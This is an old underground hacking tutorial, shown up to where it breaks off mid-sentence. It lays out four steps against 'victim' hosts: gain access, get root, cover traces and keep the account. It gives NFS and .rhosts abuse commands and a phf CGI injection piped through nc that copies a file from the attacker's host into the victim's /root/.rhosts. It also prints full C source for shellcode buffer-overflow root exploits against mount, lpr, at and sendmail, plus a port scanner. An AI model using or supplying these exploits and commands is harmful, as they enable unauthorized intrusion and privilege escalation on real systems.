User's guide			__________________________Well, howdi folks... I guess you are all wondering who's this guy (me)that's trying to show you a bit of everything... ?Well, I ain't telling you anything of that...Copyright, and other stuff like this (below).Copyright and stuff...______________________If you feel offended by this subject (hacking) or you think that you coulddo better, don't read the below information...This file is for educational purposes ONLY...;)I ain't responsible for any damages you made after reading this...(I'm very serious...)So this can be copied, but not modified (send me the changes, and if theyare good, I'll include them ).Don't read it, 'cuz it might be illegal.I warned you...If you would like to continue, press <PgDown>.			Intro: Hacking step by step._________________________________________________________________________________Well, this ain't exactely for begginers, but it'll have to do.What all hackers has to know is that there are 4 steps in hacking...Step 1: Getting access to site.Step 2: Hacking r00t.Step 3: Covering your traces.Step 4: Keeping that account.Ok. In the next pages we'll see exactely what I ment.Step 1: Getting access._______Well folks, there are several methods to get access to a site.I'll try to explain the most used ones.The first thing I do is see if the system has an export list:mysite:~>/usr/sbin/showmount -e victim.site.comRPC: Program not registered.If it gives a message like this one, then it's time to search another wayin.What I was trying to do was to exploit an old security problem by mostSUN OS's that could allow an remote attacker to add a .rhosts to a usershome directory... (That was possible if the site had mounted their homedirectory.Let's see what happens...mysite:~>/usr/sbin/showmount -e victim1.site.com/usr  victim2.site.com/home (everyone)/cdrom (everyone)mysite:~>mkdir /tmp/mountmysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/mysite:~>ls -sal /tmp/mount   total 9   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../   1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/   1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers   1 drwx------   3 test     100          1024 Oct  8 21:05 test/   1 drwx------  15 102      100          1024 Oct 20 18:57 rapper/  Well, we wanna hack into rapper's home.mysite:~>iduid=0 euid=0mysite:~>whoamirootmysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwdWe use /bin/csh 'cuz bash leaves a (Damn!) .bash_history  and you mightforget it on the remote server...mysite:~>su - rapperWelcome to rapper's user.mysite:~>ls -lsa /tmp/mount/   total 9   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../   1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/   1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers   1 drwx------   3 test     100          1024 Oct  8 21:05 test/   1 drwx------  15 rapper   daemon       1024 Oct 20 18:57 rapper/So we own this guy's home directory...mysite:~>echo "+ +" > rapper/.rhostsmysite:~>cd /mysite:~>rlogin victim1.site.comWelcome to Victim.Site.Com.SunOs ver....(crap).victim1:~$This is the first method...Another method could be to see if the site has an open 80 port. That wouldmean that the site has a web page.(And that's very bad, 'cuz it usually it's vulnerable).Below I include the source of a scanner that helped me when NMAP wasn't written.(Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor).NMAP is a scanner that does even stealth scanning, so lots of systems won'trecord it./* -*-C-*- tcpprobe.c *//* tcpprobe - report on which tcp ports accept connections *//* IO ERROR, error@axs.net, Sep 15, 1995 */#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <errno.h>#include <netdb.h>#include <signal.h>int main(int argc, char **argv){  int probeport = 0;  struct hostent *host;  int err, i, net;  struct sockaddr_in sa;  if (argc != 2) {    printf("Usage: %s hostname\n", argv[0]);    exit(1);  }  for (i = 1; i < 1024; i++) {    strncpy((char *)&sa, "", sizeof sa);    sa.sin_family = AF_INET;    if (isdigit(*argv[1]))      sa.sin_addr.s_addr = inet_addr(argv[1]);    else if ((host = gethostbyname(argv[1])) != 0)      strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);    else {      herror(argv[1]);      exit(2);    }    sa.sin_port = htons(i);    net = socket(AF_INET, SOCK_STREAM, 0);    if (net < 0) {      perror("\nsocket");      exit(2);    }    err = connect(net, (struct sockaddr *) &sa, sizeof sa);    if (err < 0) {      printf("%s %-5d %s\r", argv[1], i, strerror(errno));      fflush(stdout);    } else {      printf("%s %-5d accepted.                               \n", argv[1], i);      if (shutdown(net, 2) < 0) {	perror("\nshutdown");	exit(2);      }    }    close(net);  }  printf("                                                                \r");  fflush(stdout);  return (0);}Well, now be very carefull with the below exploits, because they usually getlogged.Besides, if you really wanna get a source file from /cgi-bin/ use thissintax : lynx http://www.victim1.com//cgi-bin/fingerIf you don't wanna do that, then do a :mysite:~>echo "+ +" > /tmp/rhostsmysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+/root/.rhosts" | nc -v - 20 victim1.site.com 80then mysite:~>rlogin -l root victim1.site.comWelcome to Victim1.Site.Com.victim1:~#Or, maybe, just try to find out usernames and passwords...The usual users are "test", "guest", and maybe the owner of the site...I usually don't do such things, but you can...Or if the site is really old, use that (quote site exec) old bug forwu.ftpd.There are  a lot of other exploits, like the remote exploits (innd, imap2,pop3, etc...) that you can find at rootshell.connectnet.com or atdhp.com/~fyodor. Enough about this topic. (besides, if you can finger the site, you canfiggure out usernames and maybe by guessing passwords (sigh!) you could getaccess to the site).Step 2: Hacking r00t.______First you have to find the system it's running...a). LINUXALL versions:A big bug for all linux versions is mount/umount and (maybe) lpr./* Mount Exploit for Linux, Jul 30 1996::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````""::::::::::::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ :::::::::::::...........:::...........:::...........::.......:......:.......:::::::::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::Discovered and Coded by Bloodmask & VioCovin Security 1996*/#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <fcntl.h>#include <sys/stat.h>#define PATH_MOUNT "/bin/mount"#define BUFFER_SIZE 1024#define DEFAULT_OFFSET 50u_long get_esp(){  __asm__("movl %esp, %eax");}main(int argc, char **argv){  u_char execshell[] =   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";   char *buff = NULL;   unsigned long *addr_ptr = NULL;   char *ptr = NULL;   int i;   int ofs = DEFAULT_OFFSET;   buff = malloc(4096);   if(!buff)   {      printf("can't allocate memory\n");      exit(0);   }   ptr = buff;   /* fill start of buffer with nops */   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));   ptr += BUFFER_SIZE-strlen(execshell);   /* stick asm code into the buffer */   for(i=0;i < strlen(execshell);i++)      *(ptr++) = execshell[i];   addr_ptr = (long *)ptr;   for(i=0;i < (8/4);i++)      *(addr_ptr++) = get_esp() + ofs;   ptr = (char *)addr_ptr;   *ptr = 0;   (void)alarm((u_int)0);   printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");   execl(PATH_MOUNT, "mount", buff, NULL);}/*LPR exploit:I don't know the author...*/#include <stdio.h>#include <stdlib.h>#include <unistd.h>#define DEFAULT_OFFSET          50#define BUFFER_SIZE             1023long get_esp(void){   __asm__("movl %esp,%eax\n");}void main(){   char *buff = NULL;   unsigned long *addr_ptr = NULL;   char *ptr = NULL;   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"                        "\xd7\xff\xff\xff/bin/sh";   int i;   buff = malloc(4096);   if(!buff)   {      printf("can't allocate memory\n");      exit(0);   }   ptr = buff;   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));   ptr += BUFFER_SIZE-strlen(execshell);   for(i=0;i < strlen(execshell);i++)      *(ptr++) = execshell[i];   addr_ptr = (long *)ptr;   for(i=0;i<2;i++)      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;   ptr = (char *)addr_ptr;   *ptr = 0;   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);}b.) Version's 1.2.* to 1.3.2NLSPATH env. variable exploit:/* It's really annoying for users and good for me... AT exploit gives only uid=0 and euid=your_usual_euid.*/#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <fcntl.h>#include <sys/stat.h>#define path "/usr/bin/at"#define BUFFER_SIZE 1024#define DEFAULT_OFFSET 50u_long get_esp(){  __asm__("movl %esp, %eax");}main(int argc, char **argv){  u_char execshell[] =   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";   char *buff = NULL;   unsigned long *addr_ptr = NULL;   char *ptr = NULL;   int i;   int ofs = DEFAULT_OFFSET;   buff = malloc(4096);   if(!buff)   {      printf("can't allocate memory\n");      exit(0);   }   ptr = buff;   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));   ptr += BUFFER_SIZE-strlen(execshell);   for(i=0;i < strlen(execshell);i++)      *(ptr++) = execshell[i];   addr_ptr = (long *)ptr;   for(i=0;i < (8/4);i++)      *(addr_ptr++) = get_esp() + ofs;   ptr = (char *)addr_ptr;   *ptr = 0;   (void)alarm((u_int)0);   printf("AT exploit discovered by me, _PHANTOM_ in 1997.\n");   setenv("NLSPATH",buff,1);   execl(path, "at",NULL);}SENDMAIL exploit: (don't try to chmod a-s this one... :) )/* SENDMAIL Exploit for Linux*/#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <fcntl.h>#include <sys/stat.h>#define path "/usr/bin/sendmail"#define BUFFER_SIZE 1024#define DEFAULT_OFFSET 50u_long get_esp(){  __asm__("movl %esp, %eax");}main(int argc, char **argv){  u_char execshell[] =   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./sh";   char *buff = NULL;   unsigned long *addr_ptr = NULL;   char *ptr = NULL;   int i;   int ofs = DEFAULT_OFFSET;   buff = malloc(4096);   if(!buff)   {      printf("can't allocate memory\n");      exit(0);   }   ptr = buff;   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));   ptr += BUFFER_SIZE-strlen(execshell);   for(i=0;i < strlen(execshell);i++)      *(ptr++) = execshell[i];   addr_ptr = (long *)ptr;   for(i=0;i < (8/4);i++)      *(addr_ptr++) = get_esp() + ofs;   ptr = (char *)addr_ptr;   *ptr = 0;   (void)alarm((u_int)0);   printf("SENDMAIL exploit discovered by me, _PHANTOM_ in  1997\n");   setenv("NLSPATH",buff,1);   execl(path, "sendmail",NULL);}MOD_LDT exploit (GOD, this one gave such a headache to my Sysadmin (ROOT)